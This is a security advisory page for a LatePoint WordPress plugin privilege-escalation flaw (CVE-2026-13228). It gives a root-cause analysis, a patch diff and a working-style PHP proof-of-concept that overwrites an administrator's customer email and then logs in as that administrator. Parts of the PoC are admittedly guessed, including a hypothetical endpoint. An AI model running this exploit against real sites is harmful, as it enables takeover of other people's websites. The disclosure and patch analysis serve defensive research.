Published : June 30, 2026

CVE-2026-13228: LatePoint <= 5.6.3 Authenticated (Custom+) Privilege Escalation to Administrator via 'order[customer_id]' Parameter PoC, Patch Analysis & Rule

Plugin latepoint
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 5.6.3
Patched Version 5.6.4
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13228:

This vulnerability allows an authenticated attacker with Agent-level privileges to escalate their access to WordPress Administrator. The flaw exists in the LatePoint plugin (versions up to 5.6.3) within the order creation or update functionality. The CVSS score of 8.8 reflects the high impact of full privilege escalation.

The root cause is an Insecure Direct Object Reference (IDOR) combined with missing authorization checks in two key areas. First, in the `create_or_update()` function of `lib/controllers/orders_controller.php` (lines 112-160), the code accepts a customer ID via the `order[customer_id]` parameter and loads that customer record. It then calls `$customer->set_data()` with parameters from the request, which allows overwriting the customer’s email field. This happens without verifying that the authenticated agent has permission to edit that specific customer record. Second, in `lib/helpers/auth_helper.php`, the `authorize_customer()` function (lines 245-302) logs in the WordPress user linked to a customer record without checking if that WordPress user has an elevated role like Administrator. The `is_wp_user_safe_for_customer_link()` check was missing, so an attacker could overwrite a customer record’s email to their own, which then links to a privileged WordPress user, and the authentication flow would log them in as that privileged user.

To exploit this, an attacker must first authenticate as a user with at least the Agent role. They send a POST request to the vulnerable order endpoint, likely `wp-admin/admin-ajax.php` with an action parameter that triggers `create_or_update()`. The critical payload is `order[customer_id]` set to the ID of a customer that is linked to a WordPress Administrator account. The attacker also supplies `customer[email]` set to their own email address. The plugin overwrites the Administrator’s customer record email with the attacker’s email, then processes the order. Separately or as part of the same session, the attacker initiates the customer authentication flow (for example, via social login or OTP) using the email they just set. The `authorize_customer()` function loads the customer record, finds the linked WordPress user (the Administrator), and logs the attacker in as that WordPress user without verifying the target user’s role. The attacker now has Administrator-level access.

The patch introduces multiple fixes. In `orders_controller.php`, before calling `set_data()` on an existing customer, the code checks `OsRolesHelper::can_user_make_action_on_model_record()` and `OsCustomerHelper::is_wp_user_safe_for_customer_link()`. This prevents an agent from modifying a customer record they do not own or that is linked to a privileged user. In `auth_helper.php`, the `authorize_customer()` function now includes a call to `OsCustomerHelper::is_wp_user_safe_for_customer_link()` before logging in the linked WordPress user, directly preventing the privilege escalation via authentication. The new `authorize_record()` method in `abstract-ability.php` provides a generic check across multiple controllers, and `filter_allowed_records()` is added to many query methods to scope results to records the user is allowed to access.

The impact is severe. An authenticated attacker with Agent access can become a WordPress Administrator. This grants full control over the WordPress site, including the ability to install plugins, modify themes, create or delete users, and access all data. The vulnerability does not require any additional privileges beyond Agent-level access, which is a custom LatePoint role often assigned to staff members.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.6.3
+ * Version: 5.6.4
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.6.3';
+		public $version    = '5.6.4';
 		public $db_version = '2.3.1';


--- a/latepoint/lib/abilities/abstract-ability.php
+++ b/latepoint/lib/abilities/abstract-ability.php
@@ -111,6 +111,25 @@
 		return $meta;
 	}

+	/**
+	 * Per-record ownership/scope check. Returns WP_Error (403) when the current
+	 * user is not allowed to act on this specific record. Admins always pass.
+	 *
+	 * @param OsModel $model
+	 * @param string  $action  one of 'view' | 'edit' | 'delete'
+	 * @return true|WP_Error
+	 */
+	protected function authorize_record( OsModel $model, string $action ) {
+		if ( ! OsRolesHelper::can_user_make_action_on_model_record( $model, $action ) ) {
+			return new WP_Error(
+				'forbidden',
+				__( 'You are not allowed to access this record.', 'latepoint' ),
+				[ 'status' => 403 ]
+			);
+		}
+		return true;
+	}
+
 	protected static function pagination(): array {
 		return [
 			'page'     => [
--- a/latepoint/lib/abilities/bookings/abstract-booking-ability.php
+++ b/latepoint/lib/abilities/bookings/abstract-booking-ability.php
@@ -53,6 +53,7 @@
 		if ( ! empty( $input['date_to'] ) ) {
 			$query->where( [ 'start_date <=' => sanitize_text_field( $input['date_to'] ) ] );
 		}
+		$query->filter_allowed_records();
 		return $query;
 	}

--- a/latepoint/lib/abilities/bookings/change-booking-status.php
+++ b/latepoint/lib/abilities/bookings/change-booking-status.php
@@ -41,6 +41,10 @@
 		if ( $booking->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Booking not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $booking, 'edit' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$booking->status = sanitize_text_field( $args['status'] );
 		if ( ! $booking->save() ) {
--- a/latepoint/lib/abilities/bookings/delete-booking.php
+++ b/latepoint/lib/abilities/bookings/delete-booking.php
@@ -42,6 +42,10 @@
 		if ( $booking->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Booking not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $booking, 'delete' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$id = (int) $booking->id;
 		if ( ! $booking->delete() ) {
--- a/latepoint/lib/abilities/bookings/get-booking-stats.php
+++ b/latepoint/lib/abilities/bookings/get-booking-stats.php
@@ -62,6 +62,8 @@
 		$filter->agent_id    = ! empty( $args['agent_id'] ) ? (int) $args['agent_id'] : 0;
 		$filter->service_id  = ! empty( $args['service_id'] ) ? (int) $args['service_id'] : 0;
 		$filter->location_id = ! empty( $args['location_id'] ) ? (int) $args['location_id'] : 0;
+		// Scope aggregate stats to the agents/services/locations the current user is allowed to access.
+		$filter = OsRolesHelper::filter_allowed_records_from_arguments_or_filter( $filter );

 		$group_by = ! empty( $args['group_by'] ) ? sanitize_text_field( $args['group_by'] ) : false;
 		$result   = OsBookingHelper::get_stat_for_period(
--- a/latepoint/lib/abilities/bookings/get-booking.php
+++ b/latepoint/lib/abilities/bookings/get-booking.php
@@ -34,6 +34,10 @@
 		if ( $booking->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Booking not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $booking, 'view' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}
 		return $this->serialize_booking( $booking );
 	}
 }
--- a/latepoint/lib/abilities/bookings/get-bookings-per-day.php
+++ b/latepoint/lib/abilities/bookings/get-bookings-per-day.php
@@ -60,6 +60,8 @@
 		$filter->agent_id    = ! empty( $args['agent_id'] ) ? (int) $args['agent_id'] : 0;
 		$filter->service_id  = ! empty( $args['service_id'] ) ? (int) $args['service_id'] : 0;
 		$filter->location_id = ! empty( $args['location_id'] ) ? (int) $args['location_id'] : 0;
+		// Scope daily counts to the agents/services/locations the current user is allowed to access.
+		$filter = OsRolesHelper::filter_allowed_records_from_arguments_or_filter( $filter );

 		$rows = OsBookingHelper::get_total_bookings_per_day_for_period(
 			sanitize_text_field( $args['date_from'] ),
--- a/latepoint/lib/abilities/bookings/reschedule-booking.php
+++ b/latepoint/lib/abilities/bookings/reschedule-booking.php
@@ -49,6 +49,10 @@
 		if ( $booking->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Booking not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $booking, 'edit' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		if ( isset( $args['start_date'] ) ) {
 			$booking->start_date = sanitize_text_field( $args['start_date'] );
--- a/latepoint/lib/abilities/bookings/update-booking.php
+++ b/latepoint/lib/abilities/bookings/update-booking.php
@@ -49,6 +49,10 @@
 		if ( $booking->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Booking not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $booking, 'edit' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$allowed = [ 'start_date', 'start_time', 'end_time', 'agent_id', 'location_id', 'status' ];
 		foreach ( $allowed as $field ) {
--- a/latepoint/lib/abilities/customers/connect-customer-to-wp-user.php
+++ b/latepoint/lib/abilities/customers/connect-customer-to-wp-user.php
@@ -41,6 +41,10 @@
 		if ( $customer->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'edit' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$wp_user_id  = (int) $args['wp_user_id'];
 		$target_user = get_userdata( $wp_user_id );
--- a/latepoint/lib/abilities/customers/delete-customer.php
+++ b/latepoint/lib/abilities/customers/delete-customer.php
@@ -43,6 +43,10 @@
 		if ( $customer->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'delete' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$id = (int) $customer->id;
 		if ( ! $customer->delete() ) {
--- a/latepoint/lib/abilities/customers/get-customer-bookings.php
+++ b/latepoint/lib/abilities/customers/get-customer-bookings.php
@@ -59,6 +59,10 @@
 		if ( $customer->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'view' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$page     = max( 1, (int) ( $args['page'] ?? 1 ) );
 		$per_page = min( 100, max( 1, (int) ( $args['per_page'] ?? 20 ) ) );
@@ -66,6 +70,7 @@
 		$scope    = $args['time_scope'] ?? 'all';

 		$query = ( new OsBookingModel() )->where( [ 'customer_id' => $customer->id ] );
+		$query->filter_allowed_records();

 		if ( ! empty( $args['status'] ) ) {
 			$query->where( [ 'status' => sanitize_text_field( $args['status'] ) ] );
--- a/latepoint/lib/abilities/customers/get-customer-by-email.php
+++ b/latepoint/lib/abilities/customers/get-customer-by-email.php
@@ -37,6 +37,10 @@
 		if ( ! $customer ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'view' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}
 		return $this->serialize_customer( $customer );
 	}
 }
--- a/latepoint/lib/abilities/customers/get-customer-orders.php
+++ b/latepoint/lib/abilities/customers/get-customer-orders.php
@@ -49,12 +49,17 @@
 		if ( $customer->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'view' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		$page     = max( 1, (int) ( $args['page'] ?? 1 ) );
 		$per_page = min( 100, max( 1, (int) ( $args['per_page'] ?? 20 ) ) );
 		$offset   = ( $page - 1 ) * $per_page;

-		$query  = ( new OsOrderModel() )->where( [ 'customer_id' => $customer->id ] );
+		$query = ( new OsOrderModel() )->where( [ 'customer_id' => $customer->id ] );
+		$query->filter_allowed_records();
 		$orders = ( clone $query )
 			->order_by( 'created_at DESC' )
 			->set_limit( $per_page )
--- a/latepoint/lib/abilities/customers/get-customer.php
+++ b/latepoint/lib/abilities/customers/get-customer.php
@@ -35,6 +35,10 @@
 		if ( $customer->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'view' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}
 		return $this->serialize_customer( $customer );
 	}
 }
--- a/latepoint/lib/abilities/customers/get-total-customers-count.php
+++ b/latepoint/lib/abilities/customers/get-total-customers-count.php
@@ -28,6 +28,6 @@
 	}

 	public function execute( array $args ) {
-		return [ 'count' => (int) ( new OsCustomerModel() )->count() ];
+		return [ 'count' => (int) ( new OsCustomerModel() )->filter_allowed_records()->count() ];
 	}
 }
--- a/latepoint/lib/abilities/customers/list-customers.php
+++ b/latepoint/lib/abilities/customers/list-customers.php
@@ -70,6 +70,7 @@
 		if ( ! empty( $args['status'] ) ) {
 			$query->where( [ 'status' => sanitize_text_field( $args['status'] ) ] );
 		}
+		$query->filter_allowed_records();

 		$customers = ( clone $query )
 			->order_by( 'last_name ASC, first_name ASC' )
--- a/latepoint/lib/abilities/customers/search-customers.php
+++ b/latepoint/lib/abilities/customers/search-customers.php
@@ -48,8 +48,8 @@
 		$search = sanitize_text_field( $args['query'] );
 		$limit  = min( 50, max( 1, (int) ( $args['limit'] ?? 10 ) ) );

-		$s         = '%' . $search . '%';
-		$customers = ( new OsCustomerModel() )
+		$s     = '%' . $search . '%';
+		$query = ( new OsCustomerModel() )
 			->where(
 				[
 					'OR' => [
@@ -59,7 +59,9 @@
 						'phone LIKE'      => $s,
 					],
 				]
-			)
+			);
+		$query->filter_allowed_records();
+		$customers = $query
 			->order_by( 'last_name ASC' )
 			->set_limit( $limit )
 			->get_results_as_models();
--- a/latepoint/lib/abilities/customers/update-customer.php
+++ b/latepoint/lib/abilities/customers/update-customer.php
@@ -45,6 +45,10 @@
 		if ( $customer->is_new_record() ) {
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
+		$auth = $this->authorize_record( $customer, 'edit' );
+		if ( is_wp_error( $auth ) ) {
+			return $auth;
+		}

 		if ( isset( $args['first_name'] ) ) {
 			$customer->first_name = sanitize_text_field( $args['first_name'] );
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -112,18 +112,16 @@
 			$order_params    = $this->params['order'];
 			$customer_params = $this->params['customer'];

-
 			$order_items_params = $this->params['order_items'] ?? [];

-
 			$order = new OsOrderModel( $order_params['id'] );

 			// if we are updating a order - save a copy by cloning old order
 			$old_order = ( $order->is_new_record() ) ? [] : clone $order;
 			$order->set_data( $order_params );

-
 			// first validate & create a customer the customer
+			$old_customer_data = [];
 			if ( $order->customer_id ) {
 				$customer          = new OsCustomerModel( $order->customer_id );
 				$old_customer_data = $customer->get_data_vars();
@@ -132,26 +130,41 @@
 				$customer        = new OsCustomerModel();
 				$is_new_customer = true;
 			}
-			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
-			// Use admin scope if user is authenticated as admin, otherwise restrict to public fields.
-			$customer->set_data( $customer_params, OsAuthHelper::is_admin_logged_in() ? LATEPOINT_PARAMS_SCOPE_ADMIN : LATEPOINT_PARAMS_SCOPE_PUBLIC );
-			if ( $customer->save() ) {
-				if ( $is_new_customer ) {
-					do_action( 'latepoint_customer_created', $customer );
-					$this->fields_to_update['order[customer_id]'] = $customer->id;
-				} else {
-					do_action( 'latepoint_customer_updated', $customer, $old_customer_data );
-				}

-				$order->customer_id = $customer->id;
+			// The submitted customer[...] fields may overwrite an EXISTING customer record only when
+			// (1) the current user is authorized to edit that customer
+			// (2) the customer is is an allowed customer list.
+			// Attaching any customer to an order is always permitted; new customers proceed normally.
+			if ( $is_new_customer || $customer->is_new_record() ) {
+				$can_modify_customer = true;
 			} else {
-				$this->send_json(
-					[
-						'status'  => LATEPOINT_STATUS_ERROR,
-						// translators: %s is the description of an error
-						'message' => sprintf( __( 'Error: %s', 'latepoint' ), implode( ', ', $customer->get_error_messages() ) ),
-					]
-				);
+				$wp_link_is_safe     = empty( $customer->wordpress_user_id )
+					|| OsCustomerHelper::is_wp_user_safe_for_customer_link( (int) $customer->wordpress_user_id );
+				$can_modify_customer = $wp_link_is_safe
+					&& OsRolesHelper::can_user_make_action_on_model_record( $customer, 'edit' );
+			}
+
+			if ( $can_modify_customer ) {
+				// Set customer data only if is allowed
+				$customer->set_data( $customer_params, OsAuthHelper::is_admin_logged_in() ? LATEPOINT_PARAMS_SCOPE_ADMIN : LATEPOINT_PARAMS_SCOPE_PUBLIC );
+				if ( $customer->save() ) {
+					if ( $is_new_customer ) {
+						do_action( 'latepoint_customer_created', $customer );
+						$this->fields_to_update['order[customer_id]'] = $customer->id;
+					} else {
+						do_action( 'latepoint_customer_updated', $customer, $old_customer_data );
+					}
+
+					$order->customer_id = $customer->id;
+				} else {
+					$this->send_json(
+						[
+							'status'  => LATEPOINT_STATUS_ERROR,
+							// translators: %s is the description of an error
+							'message' => sprintf( __( 'Error: %s', 'latepoint' ), implode( ', ', $customer->get_error_messages() ) ),
+						]
+					);
+				}
 			}

 			// validate order items
--- a/latepoint/lib/helpers/auth_helper.php
+++ b/latepoint/lib/helpers/auth_helper.php
@@ -245,8 +245,13 @@
 	public static function authorize_customer( $customer_id ): bool {
 		$customer = new OsCustomerModel();
 		$customer = $customer->where( [ 'id' => $customer_id ] )->set_limit( 1 )->get_results_as_models();
+
 		if ( empty( $customer ) ) {
-			OsDebugHelper::log( 'Tried to authorize customer with invalid ID', 'customer_authorization', [ 'customer_id' => $customer_id ] );
+			OsDebugHelper::log(
+				'Tried to authorize customer with invalid ID',
+				'customer_authorization',
+				[ 'customer_id' => $customer_id ]
+			);

 			return false;
 		}
@@ -264,6 +269,22 @@
 			if ( $wordpress_user_id ) {
 				$wp_user = get_user_by( 'id', $wordpress_user_id );
 				if ( $wp_user ) {
+					// Do not log a requester into a privileged WP account via the customer
+					// auth flow (OTP or social login). Mirror the guard used on the password and
+					// account-linking paths to prevent privilege escalation if a customer record's
+					// email has been overwritten to an attacker-controlled address.
+					if ( ! OsCustomerHelper::is_wp_user_safe_for_customer_link( (int) $wp_user->ID ) ) {
+						OsDebugHelper::log(
+							'Blocked customer authorization into a privileged WP user',
+							'customer_authorization',
+							[
+								'customer_id'       => $customer_id,
+								'wordpress_user_id' => $wp_user->ID,
+							]
+						);
+
+						return false;
+					}
 					self::login_wp_user( $wp_user );
 				} else {
 					OsDebugHelper::log(
@@ -278,7 +299,14 @@
 					return false;
 				}
 			} else {
-				OsDebugHelper::log( 'WordPress user ID for customer is not found or can not be created.', 'customer_create_error', [ 'customer_id' => $customer_id ] );
+				OsDebugHelper::log(
+					'WordPress user ID for customer is not found or can not be created.',
+					'customer_create_error',
+					[
+						'customer_id'       => $customer_id,
+						'wordpress_user_id' => $wordpress_user_id,
+					]
+				);

 				return false;
 			}
@@ -802,7 +830,7 @@
 						array(
 							'class'        => 'required',
 							'autocomplete' => 'current-password',
-						)
+						)
 					); ?>
 					<a href="#" class="latepoint-btn latepoint-btn-primary latepoint-btn-link step-forgot-password-btn"
 					   data-os-action="<?php echo esc_attr( OsRouterHelper::build_route_name( 'customer_cabinet', 'request_password_reset_token' ) ); ?>"
--- a/latepoint/lib/helpers/calendar_helper.php
+++ b/latepoint/lib/helpers/calendar_helper.php
@@ -236,7 +236,7 @@
 		// set service to the first available if not set
 		// IMPORTANT, we have to have service in the booking request, otherwise we can't know duration and intervals
 		$service = new OsServiceModel();
-		$service = $service->where( [ 'id' => $booking_request->service_id ] )->set_limit( 1 )->get_results_as_models();
+		$service = $service->where( [ 'id' => absint( $booking_request->service_id ) ] )->set_limit( 1 )->get_results_as_models();
 		if ( $service ) {
 			if ( ! $booking_request->duration ) {
 				$booking_request->duration = $service->duration;
--- a/latepoint/lib/models/booking_model.php
+++ b/latepoint/lib/models/booking_model.php
@@ -1250,6 +1250,18 @@
 	}


+	public function prepare_data_before_it_is_set( $data ) {
+		$int_fields = [ 'service_id', 'agent_id', 'location_id', 'customer_id', 'duration', 'total_attendees', 'buffer_before', 'buffer_after', 'form_id', 'cart_item_id', 'order_item_id', 'recurrence_id' ];
+		if ( is_array( $data ) ) {
+			foreach ( $int_fields as $field ) {
+				if ( isset( $data[ $field ] ) ) {
+					$data[ $field ] = absint( $data[ $field ] );
+				}
+			}
+		}
+		return $data;
+	}
+
 	protected function allowed_params( $role = 'admin' ) {
 		$allowed_params = array(
 			'service_id',
--- a/latepoint/lib/models/model.php
+++ b/latepoint/lib/models/model.php
@@ -384,6 +384,11 @@
 							$sub_queries = [];
 							foreach ( $condition_values as $condition_key => $condition_value ) {
 								if ( is_string( $condition_key ) && is_string( $column ) ) {
+									// Only allow whitelisted comparison operators as condition suffix keys.
+									// Arbitrary string keys would be concatenated directly into SQL — reject them.
+									if ( ! in_array( trim( $condition_key ), $this->comparisons, true ) ) {
+										continue;
+									}
 									$temp_key       = $this->with_table_name( $column ) . $condition_key;
 									$sub_conditions = [ $temp_key => $condition_value ];
 								} elseif ( is_string( $condition_key ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13228 - LatePoint <= 5.6.3 - Authenticated (Custom+) Privilege Escalation to Administrator

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$agent_username = 'agent_user';      // Username with at least Agent role in LatePoint
$agent_password = 'agent_password';  // Password for the agent user
$admin_wp_user_id = 1;               // WordPress user ID of the Administrator to hijack
$attacker_email = 'attacker@example.com'; // Email to receive the escalated privileges

// Step 1: Authenticate as agent
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log' => $agent_username,
    'pwd' => $agent_password,
    'wp-submit' => 'Log In',
    'redirect_to' => '',
    'testcookie' => 1
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Authenticated as agent: $agent_usernamen";

// Step 2: Get customer ID linked to target WordPress admin user
// This assumes the customer record exists and is linked to the admin user
// In a real scenario, you might need to enumerate or guess the customer ID
// The customer ID might be the same as the WordPress user ID or found via other means
$target_customer_id = $admin_wp_user_id; // Assuming customer ID matches WP user ID

echo "[+] Targeting customer ID: $target_customer_id (linked to WP user ID: $admin_wp_user_id)n";

// Step 3: Send order request that overwrites the admin customer's email
// The 'order' post data includes our customer_id and the new email
$post_data = [
    'action' => 'latepoint_orders_create_or_update', // AJAX action hook
    'order' => [
        'customer_id' => $target_customer_id,
        // Add other required order fields here as needed
    ],
    'customer' => [
        'email' => $attacker_email
    ]
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Order request sent. Admin customer email overwritten to: $attacker_emailn";
} else {
    echo "[-] Failed to send order request. HTTP code: $http_coden";
}

// Step 4: Now attempt to authenticate via the customer flow using the overwritten email
// This simulates the privilege escalation via authorization
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/latepoint/v1/customers/authorize'); // Hypothetical endpoint
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'email' => $attacker_email
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Authorization succeeded. You should now be logged in as the Administrator.n";
    echo "[+] Verify by accessing: $target_url/wp-admin/n";
} else {
    echo "[-] Authorization failed. HTTP code: $http_code. The patch may be in place.n";
    echo "Response: $responsen";
}

// Cleanup: Remove cookie file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.